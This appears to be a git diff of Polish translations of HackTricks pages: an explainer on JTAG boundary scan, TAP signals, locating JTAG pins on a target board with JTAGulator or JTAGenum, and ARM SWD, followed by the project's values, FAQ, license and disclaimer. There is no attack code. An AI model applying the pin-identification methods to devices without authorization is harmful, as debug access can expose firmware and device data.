JTAG umożliwia przeprowadzenie skanu granicznego. Skan graniczny analizuje określone układy, w tym wbudowane komórki i rejestry skanu granicznego dla każdego pinu.
|
||||
|
||||
Standard JTAG definiuje **konkretne polecenia do przeprowadzania skanów granicznych**, w tym:
|
||||
|
||||
* **BYPASS** pozwala na przetestowanie określonego układu bez konieczności przechodzenia przez inne układy.
|
||||
* **BYPASS** pozwala przetestować określony układ bez konieczności przechodzenia przez inne układy.
|
||||
* **SAMPLE/PRELOAD** pobiera próbkę danych wchodzących i wychodzących z urządzenia, gdy jest w normalnym trybie działania.
|
||||
* **EXTEST** ustawia i odczytuje stany pinów.
|
||||
|
||||
|
@ -30,49 +29,48 @@ Może również obsługiwać inne polecenia, takie jak:
|
|||
* **IDCODE** do identyfikacji urządzenia
|
||||
* **INTEST** do wewnętrznego testowania urządzenia
|
||||
|
||||
Możesz natknąć się na te instrukcje, gdy korzystasz z narzędzia takiego jak JTAGulator.
|
||||
Możesz natknąć się na te instrukcje, gdy używasz narzędzia takiego jak JTAGulator.
|
||||
|
||||
## Port dostępu testowego
|
||||
### Port dostępu do testów
|
||||
|
||||
Skanowanie graniczne obejmuje testy czteroprzewodowego **Portu Dostępu Testowego (TAP)**, uniwersalnego portu zapewniającego **dostęp do funkcji wsparcia testu JTAG** wbudowanych w komponent. TAP wykorzystuje następujące pięć sygnałów:
|
||||
Skanowanie graniczne obejmuje testy czteroprzewodowego **Portu Dostępu do Testów (TAP)**, portu ogólnego przeznaczenia zapewniającego **dostęp do funkcji wsparcia testów JTAG** wbudowanych w komponent. TAP wykorzystuje następujące pięć sygnałów:
|
||||
|
||||
* Wejście zegara testowego (**TCK**) TCK to **zegar**, który definiuje, jak często kontroler TAP będzie podejmował pojedynczą akcję (innymi słowy, przejście do następnego stanu w maszynie stanów).
|
||||
* Wybór trybu testowego (**TMS**) wejście TMS kontroluje **maszynę stanów skończonych**. Przy każdym taktowaniu zegara kontroler TAP JTAG urządzenia sprawdza napięcie na pinie TMS. Jeśli napięcie jest poniżej określonego progu, sygnał jest uważany za niski i interpretowany jako 0, natomiast jeśli napięcie jest powyżej określonego progu, sygnał jest uważany za wysoki i interpretowany jako 1.
|
||||
* Wejście danych testowych (**TDI**) TDI to pin, który **wysyła dane do układu za pomocą komórek skanujących**. Każdy producent jest odpowiedzialny za zdefiniowanie protokołu komunikacyjnego przez ten pin, ponieważ JTAG tego nie definiuje.
|
||||
* Wyjście danych testowych (**TDO**) TDO to pin, który **wysyła dane z układu**.
|
||||
* Wejście resetowania testowego (**TRST**) Opcjonalne TRST resetuje **maszynę stanów skończonych do znanego stanu**. Alternatywnie, jeśli TMS jest utrzymywane na wartości 1 przez pięć kolejnych cykli zegara, wywołuje reset, tak samo jak pin TRST, dlatego TRST jest opcjonalny.
|
||||
* Wejście zegara testowego (**TCK**) TCK to **zegar**, który definiuje, jak często kontroler TAP podejmie pojedynczą akcję (innymi słowy, przejdzie do następnego stanu w maszynie stanów).
|
||||
* Wejście wyboru trybu testowego (**TMS**) TMS kontroluje **maszynę stanów skończonych**. Przy każdym taktowaniu zegara kontroler TAP JTAG urządzenia sprawdza napięcie na pinie TMS. Jeśli napięcie jest poniżej określonego progu, sygnał jest uważany za niski i interpretowany jako 0, natomiast jeśli napięcie jest powyżej określonego progu, sygnał jest uważany za wysoki i interpretowany jako 1.
|
||||
* Wejście danych testowych (**TDI**) TDI to pin, który wysyła **dane do układu za pośrednictwem komórek skanowania**. Każdy producent jest odpowiedzialny za określenie protokołu komunikacyjnego przez ten pin, ponieważ JTAG tego nie definiuje.
|
||||
* Wyjście danych testowych (**TDO**) TDO to pin, który wysyła **dane z układu**.
|
||||
* Wejście resetowania testowego (**TRST**) Opcjonalne TRST resetuje maszynę stanów skończonych **do znanego dobrego stanu**. Alternatywnie, jeśli TMS jest utrzymywane na 1 przez pięć kolejnych cykli zegara, wywołuje reset, tak samo jak pin TRST, dlatego TRST jest opcjonalny.
|
||||
|
||||
Czasami będziesz w stanie znaleźć te piny oznaczone na PCB. W innych przypadkach może być konieczne **odnalezienie ich**.
|
||||
Czasami będziesz w stanie znaleźć te piny oznaczone na PCB. W innych sytuacjach możesz potrzebować ich **znalezienia**.
|
||||
|
||||
## Identyfikowanie pinów JTAG
|
||||
### Identyfikacja pinów JTAG
|
||||
|
||||
Najszybszym, ale najdroższym sposobem wykrywania portów JTAG jest użycie **JTAGulatora**, urządzenia stworzonego specjalnie w tym celu (choć może **również wykrywać układy UART**).
|
||||
|
||||
Posiada **24 kanały**, które można podłączyć do pinów płytek. Następnie wykonuje atak **BF** wszystkich możliwych kombinacji, wysyłając polecenia skanu granicznego **IDCODE** i **BYPASS**. Jeśli otrzyma odpowiedź, wyświetla kanał odpowiadający każdemu sygnałowi JTAG.
|
||||
Posiada **24 kanały**, które można podłączyć do pinów płytek. Następnie wykonuje **atak BF** wszystkich możliwych kombinacji wysyłając polecenia skanowania granicznego **IDCODE** i **BYPASS**. Jeśli otrzyma odpowiedź, wyświetla kanał odpowiadający każdemu sygnałowi JTAG.
|
||||
|
||||
Tańszym, ale znacznie wolniejszym sposobem identyfikacji pinów JTAG jest użycie [**JTAGenum**](https://github.com/cyphunk/JTAGenum/) załadowanego na mikrokontrolerze kompatybilnym z Arduino.
|
||||
|
||||
Korzystając z **JTAGenum**, najpierw **zdefiniujesz piny sondowania** urządzenia, które będziesz używać do wyliczenia. Musisz odwołać się do diagramu pinów urządzenia, a następnie połączyć te piny z punktami testowymi na docelowym urządzeniu.
|
||||
Korzystając z **JTAGenum**, najpierw musisz **zdefiniować piny urządzenia sondującego**, które będziesz używać do wyliczenia. Musisz odnieść się do schematu pinów urządzenia, a następnie połączyć te piny z punktami testowymi na docelowym urządzeniu.
|
||||
|
||||
Trzecim sposobem identyfikacji pinów JTAG jest **sprawdzenie PCB** pod kątem jednego z pinów. W niektórych przypadkach PCB mogą wygodnie dostarczać **interfejs Tag-Connect**, który jest wyraźnym wskazaniem, że płyta posiada złącze JTAG. Możesz zobaczyć, jak wygląda ten interfejs na stronie [https://www.tag-connect.com/info/](https://www.tag-connect.com/info/). Dodatkowo, przeglądanie **kart katalogowych układów scalonych na PCB** może ujawnić diagramy pinów wskazujące na interfejsy JTAG.
|
||||
**Trzecim sposobem** identyfikacji pinów JTAG jest **inspekcja PCB** w poszukiwaniu jednego z pinów. W niektórych przypadkach PCB mogą wygodnie dostarczyć **interfejs Tag-Connect**, co stanowi jasny sygnał, że płyta ma również złącze JTAG. Możesz zobaczyć, jak wygląda ten interfejs na stronie [https://www.tag-connect.com/info/](https://www.tag-connect.com/info/). Dodatkowo, inspekcja **arkuszy danych chipsetów na PCB** może ujawnić schematy pinów wskazujące na interfejsy JTAG.
|
||||
|
||||
# SDW
|
||||
## SDW
|
||||
|
||||
SWD to protokół specyficzny dla ARM, zaprojektowany do debugowania.
|
||||
|
||||
Interfejs SWD wymaga **dwóch pinów**: dwukierunkowego sygnału **SWDIO**, który jest odpowiednikiem pinów **TDI i TDO w JTAG**, oraz zegara **SWCLK**, który jest odpowiednikiem **TCK** w JTAG. Wiele urządzeń obsługuje **Port Debugowania Serial Wire lub JTAG (SWJ-DP)**, łączny interfejs JTAG i SWD, który umożliwia podłączenie sondy SWD lub JTAG do docelowego urządzenia.
|
||||
SWD to protokół specyficzny dla ARM zaprojektowany do debugowania.
|
||||
|
||||
Interfejs SWD wymaga **dwóch pinów**: dwukierunkowego sygnału **SWDIO**, który jest odpowiednikiem pinów **TDI i TDO w JTAG** oraz zegara, oraz **SWCLK**, który jest odpowiednikiem **TCK** w JTAG. Wiele urządzeń obsługuje **Port Szeregowy lub Port Debugowania JTAG (SWJ-DP)**, łączny interfejs JTAG i SWD, który umożliwia podłączenie sondy SWD lub JTAG do celu.
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Nauka hakowania AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLAN SUBSKRYPCJI**](https://github.com/sponsors/carlospolop)!
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów GitHub.
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakowania, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na GitHubie.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,16 +1,16 @@
|
|||
# Wartości HackTricks i FAQ
|
||||
# Wartości i FAQ HackTricks
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Dowiedz się, jak hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Nauka hakowania AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLAN SUBSKRYPCJI**](https://github.com/sponsors/carlospolop)!
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakowania, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na githubie.
|
||||
|
||||
</details>
|
||||
|
||||
|
@ -19,15 +19,15 @@ Inne sposoby wsparcia HackTricks:
|
|||
{% hint style="success" %}
|
||||
Oto **wartości projektu HackTricks**:
|
||||
|
||||
* Zapewnienie **DARMOWEGO** dostępu do **EDUKACYJNYCH zasobów hakerskich** dla **WSZYSTKICH** w Internecie.
|
||||
* Hakerstwo polega na uczeniu się, a nauka powinna być jak najbardziej darmowa.
|
||||
* Zapewnienie **DARMOWEGO** dostępu do zasobów **EDUKACYJNEGO hakowania** dla **WSZYSTKICH** w Internecie.
|
||||
* Hakowanie polega na nauce, a nauka powinna być jak najbardziej darmowa.
|
||||
* Celem tej książki jest służenie jako wszechstronny **zasób edukacyjny**.
|
||||
* **PRZECHOWYWANIE** niesamowitych **technik hakerskich**, które społeczność publikuje, przyznając **ORYGINALNYM** **AUTOROM** wszystkie **zasługi**.
|
||||
* **Nie chcemy zasług od innych osób**, chcemy tylko przechowywać fajne sztuczki dla wszystkich.
|
||||
* **PRZECHOWUJ** niesamowite **techniki hakowania**, które społeczność publikuje, przyznając **ORYGINALNYM AUTOROM** całą **zasługę**.
|
||||
* **Nie chcemy zasługi od innych osób**, chcemy tylko przechowywać fajne sztuczki dla wszystkich.
|
||||
* Piszemy również **nasze własne badania** w HackTricks.
|
||||
* W wielu przypadkach napiszemy tylko **w HackTricks podsumowanie ważnych części** techniki i **zachęcamy czytelnika do odwiedzenia oryginalnego postu** po więcej szczegółów.
|
||||
* **ORGANIZUJEMY** wszystkie techniki hakerskie w książce, aby były **BARDZIEJ DOSTĘPNE**
|
||||
* Zespół HackTricks poświęcił tysiące godzin na darmowe **tylko po to, aby zorganizować treść**, aby ludzie mogli **szybciej się uczyć**
|
||||
* W wielu przypadkach napiszemy tylko **w HackTricks podsumowanie ważnych części** techniki i zachęcimy czytelnika do odwiedzenia oryginalnego postu po więcej szczegółów.
|
||||
* **ORGANIZUJEMY** wszystkie techniki hakowania w książce, aby były **BARDZIEJ DOSTĘPNE**
|
||||
* Zespół HackTricks poświęcił tysiące godzin za darmo **tylko po to, aby zorganizować treści**, dzięki czemu ludzie mogą **szybciej się uczyć**
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../.gitbook/assets/hack tricks gif.gif" alt="" width="375"><figcaption></figcaption></figure>
|
||||
|
@ -35,18 +35,18 @@ Oto **wartości projektu HackTricks**:
|
|||
## FAQ HackTricks
|
||||
|
||||
{% hint style="success" %}
|
||||
* **Dziękuję bardzo za te zasoby, jak mogę ci podziękować?**
|
||||
* **Dziękuję bardzo za te zasoby, jak mogę wam podziękować?**
|
||||
{% endhint %}
|
||||
|
||||
Publicznie możesz podziękować zespołowi HackTricks za publiczne udostępnienie wszystkich tych zasobów w tweecie, w którym wspomnisz [**@hacktricks\_live**](https://twitter.com/hacktricks\_live).\
|
||||
Jeśli jesteś szczególnie wdzięczny, możesz również [**sponsorować projekt tutaj**](https://github.com/sponsors/carlospolop).\
|
||||
Możesz publicznie podziękować zespołowi HackTricks za zebranie wszystkich tych zasobów publicznie w tweecie, wspominając [**@hacktricks\_live**](https://twitter.com/hacktricks\_live).\
|
||||
Jeśli jesteś szczególnie wdzięczny, możesz także [**sponsorować projekt tutaj**](https://github.com/sponsors/carlospolop).\
|
||||
I nie zapomnij **dać gwiazdki w projektach na Githubie!** (Znajdź linki poniżej).
|
||||
|
||||
{% hint style="success" %}
|
||||
* **Jak mogę przyczynić się do projektu?**
|
||||
{% endhint %}
|
||||
|
||||
Możesz **udostępniać nowe wskazówki i sztuczki społeczności lub naprawiać błędy**, które znajdziesz w książkach, wysyłając **Pull Request** na odpowiednie strony Githuba:
|
||||
Możesz **udostępniać nowe wskazówki i sztuczki społeczności lub naprawiać błędy**, które znajdziesz w książkach, wysyłając **Pull Request** na odpowiednie strony Github:
|
||||
|
||||
* [https://github.com/carlospolop/hacktricks](https://github.com/carlospolop/hacktricks)
|
||||
* [https://github.com/carlospolop/hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)
|
||||
|
@ -57,14 +57,14 @@ Nie zapomnij **dać gwiazdki w projektach na Githubie!**
|
|||
* **Czy mogę skopiować pewne treści z HackTricks i umieścić je na moim blogu?**
|
||||
{% endhint %}
|
||||
|
||||
Tak, możesz, ale **nie zapomnij podać konkretnego linku(lub linków)**, skąd pochodzi treść.
|
||||
Tak, możesz, ale **nie zapomnij podać konkretnych linków**, skąd pochodziła treść.
|
||||
|
||||
{% hint style="success" %}
|
||||
* **Jak mogę cytować stronę z HackTricks?**
|
||||
{% endhint %}
|
||||
|
||||
Jeśli link **do** strony(y), z której pochodzi informacja, jest widoczny, to wystarczy.\
|
||||
Jeśli potrzebujesz bibtex, możesz użyć czegoś takiego:
|
||||
O ile link **do** strony(y), z której czerpałeś informacje, się pojawi, to wystarczy.\
|
||||
Jeśli potrzebujesz bibtex, możesz użyć czegoś w stylu:
|
||||
```latex
|
||||
@misc{hacktricks-bibtexing,
|
||||
author = {"HackTricks Team" or the Authors name of the specific page/trick},
|
||||
|
@ -74,88 +74,96 @@ url = {\url{https://book.hacktricks.xyz/specific-page}},
|
|||
}
|
||||
```
|
||||
{% hint style="warning" %}
|
||||
* **Czy mogę skopiować całe HackTricks na swojego bloga?**
|
||||
* **Czy mogę skopiować wszystkie HackTricks na swojego bloga?**
|
||||
{% endhint %}
|
||||
|
||||
**Raczej nie**. To **nikomu nie przyniesie korzyści**, ponieważ cała **treść jest już publicznie dostępna** w oficjalnych, bezpłatnych książkach HackTricks.
|
||||
**Raczej nie**. To **nie przyniesie korzyści nikomu**, ponieważ cała **zawartość jest już publicznie dostępna** w oficjalnych książkach HackTricks za darmo.
|
||||
|
||||
Jeśli obawiasz się, że treść zniknie, po prostu sklonuj ją na Githubie lub pobierz, jak już wspomniałem, jest już za darmo.
|
||||
Jeśli obawiasz się, że zawartość zniknie, po prostu sklonuj ją na Githubie lub pobierz, jak już wspomniałem, jest to już darmowe.
|
||||
|
||||
{% hint style="warning" %}
|
||||
* **Dlaczego masz sponsorów? Czy książki HackTricks są w celach komercyjnych?**
|
||||
* **Dlaczego macie sponsorów? Czy książki HackTricks są w celach komercyjnych?**
|
||||
{% endhint %}
|
||||
|
||||
Pierwszą **wartością HackTricks** jest oferowanie **DARMOWYCH** edukacyjnych zasobów do hakowania **WSZYSTKIM** na świecie. Zespół HackTricks **poświęcił tysiące godzin** na udostępnienie tej treści, ponownie, **za darmo**.
|
||||
Pierwszą **wartością HackTricks** jest oferowanie **DARMOWYCH** zasobów edukacyjnych z zakresu hakerstwa dla **WSZYSTKICH** na świecie. Zespół HackTricks poświęcił **tysiące godzin** na udostępnienie tej zawartości, ponownie, za **DARMO**.
|
||||
|
||||
Jeśli uważasz, że książki HackTricks są tworzone w celach **komercyjnych**, jesteś **CAŁKOWICIE W BŁĘDZIE**.
|
||||
Jeśli sądzisz, że książki HackTricks są tworzone w celach **komercyjnych**, jesteś **CAŁKOWICIE W BŁĘDZIE**.
|
||||
|
||||
Mamy sponsorów, ponieważ, chociaż cała treść jest DARMOWA, chcemy **dać społeczności możliwość docenienia naszej pracy**, jeśli chcą. Dlatego oferujemy ludziom możliwość dotacji dla HackTricks za pośrednictwem [**sponsorów Githuba**](https://github.com/sponsors/carlospolop), a **istotne firmy cyberbezpieczeństwa** sponsorują HackTricks i **umieszczają reklamy** w książce, zawsze w miejscach, gdzie są **widoczne**, ale **nie przeszkadzają w procesie nauki**, jeśli ktoś skupia się na treści.
|
||||
Mamy sponsorów, ponieważ chcemy **dać społeczności możliwość docenienia naszej pracy**, jeśli chcą. Dlatego oferujemy ludziom możliwość wsparcia HackTricks poprzez [**sponsorów Githuba**](https://github.com/sponsors/carlospolop), a **istotne firmy cyberbezpieczeństwa** sponsorują HackTricks i **umieszczają reklamy** w książce, zawsze umieszczając reklamy w miejscach, gdzie są **widoczne**, ale **nie przeszkadzają w procesie nauki**, jeśli ktoś skupia się na treści.
|
||||
|
||||
Nie znajdziesz w HackTricks irytujących reklam jak w innych blogach, które mają znacznie mniej treści niż HackTricks, ponieważ HackTricks nie jest tworzone w celach komercyjnych.
|
||||
Nie znajdziesz w HackTricks irytujących reklam jak w innych blogach z dużo mniejszą zawartością niż w HackTricks, ponieważ HackTricks nie jest tworzony w celach komercyjnych.
|
||||
|
||||
{% hint style="danger" %}
|
||||
* **Co powinienem zrobić, jeśli jakaś strona HackTricks opiera się na moim wpisie na blogu, ale nie jest do niego odwołanie?**
|
||||
* **Co powinienem zrobić, jeśli jakaś strona HackTricks opiera się na moim wpisie na blogu, ale nie jest zreferencjonowana?**
|
||||
{% endhint %}
|
||||
|
||||
**Przepraszamy bardzo. To nie powinno się zdarzyć**. Prosimy o poinformowanie nas za pośrednictwem problemów Github, Twittera, Discorda... o linku do strony HackTricks z treścią i linku do Twojego bloga, a **sprawdzimy to i dodamy tak szybko, jak to możliwe**.
|
||||
**Przepraszamy bardzo. To nie powinno mieć miejsca**. Proszę, daj nam znać poprzez problemy na Githubie, Twittera, Discord... link do strony HackTricks z treścią i link do Twojego bloga, a **sprawdzimy to i dodamy referencję tak szybko, jak to możliwe**.
|
||||
|
||||
{% hint style="danger" %}
|
||||
* **Co powinienem zrobić, jeśli treść z mojego bloga jest w HackTricks i nie chcę, żeby tam była?**
|
||||
* **Co powinienem zrobić, jeśli treść z mojego bloga znajduje się w HackTricks i nie chcę, aby tam była?**
|
||||
{% endhint %}
|
||||
|
||||
W każdym przypadku wiedz, że w takim przypadku HackTricks poprawiłby Twoje **SEO** i **zachęcał** ludzi do **sprawdzenia Twojej strony** (ludzie wspominali nam, że od czasu, gdy ich strona jest w HackTricks, otrzymują więcej odwiedzin). Jeśli nadal chcesz, aby treść Twojego bloga została usunięta z HackTricks, daj nam znać.
|
||||
Należy zauważyć, że posiadanie linków do Twojej strony w HackTricks:
|
||||
|
||||
Należy zauważyć, że pytając o to, zdecydowanie **usuniemy każdy link do Twojego bloga**, a także jakąkolwiek treść opartą na nim.
|
||||
* Poprawia Twoje **SEO**
|
||||
* Treść jest **tłumaczona na ponad 15 języków**, co umożliwia większej liczbie osób dostęp do tej treści
|
||||
* **HackTricks zachęca** ludzi do **odwiedzenia Twojej strony** (kilka osób wspomniało nam, że od kiedy ich strona jest w HackTricks, otrzymują więcej odwiedzin)
|
||||
|
||||
Jeśli nadal chcesz, aby treść z Twojego bloga została usunięta z HackTricks, daj nam znać, a zdecydowanie **usuniemy każdy link do Twojego bloga** oraz wszelką treść opartą na nim.
|
||||
|
||||
{% hint style="danger" %}
|
||||
* **Co powinienem zrobić, jeśli w HackTricks znajdę skopiowaną treść?**
|
||||
* **Co powinienem zrobić, jeśli znajdę skopiowaną treść w HackTricks?**
|
||||
{% endhint %}
|
||||
|
||||
**Niestety, ta praktyka mogła mieć miejsce na początku projektu, kiedy ta strona była tylko notatkami pentestera**. Zawsze staramy się **przyznać oryginalnym autorom wszelkie zasługi**. Jeśli znajdziesz stronę z skopiowaną treścią (nawet z odwołaniem do oryginalnego źródła), daj nam znać, a my ją **usuniemy**, **zostawimy link** lub **przepiszemy**.
|
||||
Zawsze **przypisujemy oryginalnym autorom całą zasługę**. Jeśli znajdziesz stronę z skopiowaną treścią bez podania oryginalnego źródła, daj nam znać, a albo **usuniemy to**, albo **dodamy link przed tekstem**, albo **przepiszemy to dodając link**.
|
||||
|
||||
## LICENCJA
|
||||
|
||||
Prawa autorskie © Wszelkie prawa zastrzeżone, chyba że zaznaczono inaczej.
|
||||
Prawa autorskie © Wszelkie prawa zastrzeżone, chyba że określono inaczej.
|
||||
|
||||
#### Podsumowanie licencji:
|
||||
|
||||
* Atrybucja: Masz prawo do:
|
||||
* Udostępnianie — kopiowanie i rozpowszechnianie materiału w dowolnym medium lub formacie.
|
||||
* Adaptacja — remiksowanie, przekształcanie i tworzenie na podstawie materiału.
|
||||
* Dzielenia się — kopiowania i rozpowszechniania materiału w dowolnym medium lub formacie.
|
||||
* Adaptacji — miksowania, przekształcania i tworzenia na bazie tego materiału.
|
||||
|
||||
#### Dodatkowe warunki:
|
||||
|
||||
* Treść osób trzecich: Niektóre części tego bloga/książki mogą zawierać treści pochodzące z innych źródeł, takie jak fragmenty z innych blogów lub publikacji. Wykorzystanie takiej treści odbywa się zgodnie z zasadami dozwolonego użytku lub za wyraźną zgodą odpowiednich właścicieli praw autorskich. Prosimy o odniesienie się do oryginalnych źródeł w celu uzyskania szczegółowych informacji na temat licencjonowania treści osób trzecich.
|
||||
* Autorstwo: Oryginalna treść autorstwa HackTricks podlega warunkom tej licencji. Zachęcamy do przypisywania tej pracy autorowi podczas jej udostępniania lub adaptowania.
|
||||
* Treści osób trzecich: Niektóre części tego bloga/książki mogą zawierać treści z innych źródeł, takie jak fragmenty z innych blogów lub publikacji. Użycie takich treści odbywa się zgodnie z zasadami dozwolonego użytku lub za wyraźną zgodą odpowiednich właścicieli praw autorskich. Prosimy o odniesienie się do oryginalnych źródeł w celu uzyskania konkretnych informacji dotyczących licencjonowania treści osób trzecich.
|
||||
* Autorstwo: Oryginalna treść autorstwa HackTricks podlega warunkom tej licencji. Zachęcamy do przypisywania tej pracy autorowi podczas jej udostępniania lub adaptacji.
|
||||
|
||||
#### Wyjątki:
|
||||
|
||||
* Użytek komercyjny: W przypadku pytań dotyczących komercyjnego wykorzystania tej treści prosimy o kontakt.
|
||||
* Użytek komercyjny: W przypadku zapytań dotyczących komercyjnego wykorzystania tej treści, prosimy o kontakt.
|
||||
|
||||
Ta licencja nie przyznaje żadnych praw znaków towarowych ani praw do marki w odniesieniu do treści. Wszystkie znaki towarowe i marki prezentowane w tym blogu/książce są własnością ich odpowiednich właścicieli.
|
||||
Ta licencja nie przyznaje żadnych praw znaków towarowych ani brandingowych w odniesieniu do treści. Wszystkie znaki towarowe i marki prezentowane w tym blogu/książce są własnością ich odpowiednich właścicieli.
|
||||
|
||||
**Korzystając z HackTricks, zgadzasz się przestrzegać warunków tej licencji. Jeśli nie zgadzasz się z tymi warunkami, proszę, nie korzystaj z tej strony internetowej.**
|
||||
|
||||
## **Oświadczenie**
|
||||
|
||||
{% hint style="danger" %}
|
||||
Ta książka, 'HackTricks', ma charakter wyłącznie edukacyjny i informacyjny. Treść w tej książce jest udostępniana na zasadzie "takiej, jaka jest", a autorzy i wydawcy nie udzielają żadnych gwarancji ani zapewnień, wyraźnych ani dorozumianych, co do kompletności, dokładności, niezawodności, odpowiedniości lub dostępności informacji, produktów, usług lub związanych z nimi grafik zawartych w tej książce. Jakiekolwiek poleganie na takich informacjach odbywa się wyłącznie na własne ryzyko.
|
||||
Ta książka, 'HackTricks', jest przeznaczona wyłącznie do celów edukacyjnych i informacyjnych. Zawartość w tej książce jest udostępniana w formie 'tak jak jest', a autorzy i wydawcy nie dokonują żadnych oświadczeń ani gwarancji jakiejkolwiek natury, wyraźnych lub dorozumianych, co do kompletności, dokładności, niezawodności, odpowiedniości lub dostępności informacji, produktów, usług lub związanych z nimi grafik zawartych w tej książce. Jakiekolwiek poleganie na takich informacjach odbywa się więc wyłącznie na własne ryzyko użytkownika.
|
||||
|
||||
Autorzy i wydawcy nie ponoszą żadnej odpowiedzialności za jakąkolwiek stratę lub szkodę, w tym, między innymi, pośrednią lub wynikową stratę lub szkodę, ani za jakiekolwiek straty lub szkody wynikające z utraty danych lub zysków wynikających z korzystania z tej książki.
|
||||
Autorzy i wydawcy nie ponoszą żadnej odpowiedzialności za jakąkolwiek stratę lub szkodę, w tym, między innymi, pośrednią lub wynikową szkodę lub stratę, lub jakąkolwiek inną szkodę lub stratę wynikającą z utraty danych lub zysków wynikających z korzystania z tej książki.
|
||||
|
||||
Ponadto, opisane w tej książce techniki i wskazówki są udostępniane wyłącznie w celach edukacyjnych i informacyjnych i nie powinny być wykorzystywane do jakichkolwiek nielegalnych ani szkodliwych działań. Autorzy i wydawcy nie popierają ani nie wspierają żadnych nielegalnych ani nieetycznych działań, a jakiekolwiek wykorzystanie informacji zawartych w tej książce odbywa się na własne ryzyko i według własnego uznania użytkownika.
|
||||
Ponadto techniki i wskazówki opisane w tej książce są udostępniane wyłącznie w celach edukacyjnych i informacyjnych, i nie powinny być używane do jakichkolwiek nielegalnych lub szkodliwych działań. Autorzy i wydawcy nie popierają ani nie wspierają żadnych nielegalnych ani niemoralnych działań, a każde wykorzystanie informacji zawartych w tej książce odbywa się na własne ryzyko i według własnego uznania użytkownika.
|
||||
|
||||
Użytkownik jest wyłącznie odpowiedzialny za wszelkie działania podjęte na podstawie informacji zawartych w tej książce i powinien zawsze szukać profesjonalnej porady i pomocy przy próbie wdrożenia jakiejkolwiek z opisanych tu technik lub wskazówek.
|
||||
Użytkownik ponosi wyłączną odpowiedzialność za wszelkie działania podejmowane na podstawie informacji zawartych w tej książce, i zawsze powinien szukać profesjonalnej porady i pomocy przy próbie wdrożenia któregokolwiek z opisanych tu technik lub wskazówek.
|
||||
|
||||
Korzystając z tej książki, użytkownik zgadza się zwolnić autorów i wydawców od jakiejkolwiek odpowiedzialności za wszelkie szkody, straty lub szkody, które mogą wyniknąć z korzystania z tej książki lub jakiejkolwiek informacji w niej zawartych.
|
||||
Korzystając z tej książki, użytkownik zgadza się zwolnić autorów i wydawców od wszelkiej odpowiedzialności za jakiekolwiek szkody, straty lub szkody, które mogą wyniknąć z korzystania z tej książki lub jakichkolwiek informacji w niej zawartych.
|
||||
{% endhint %}
|
||||
|
||||
<details>
|
||||
|
||||
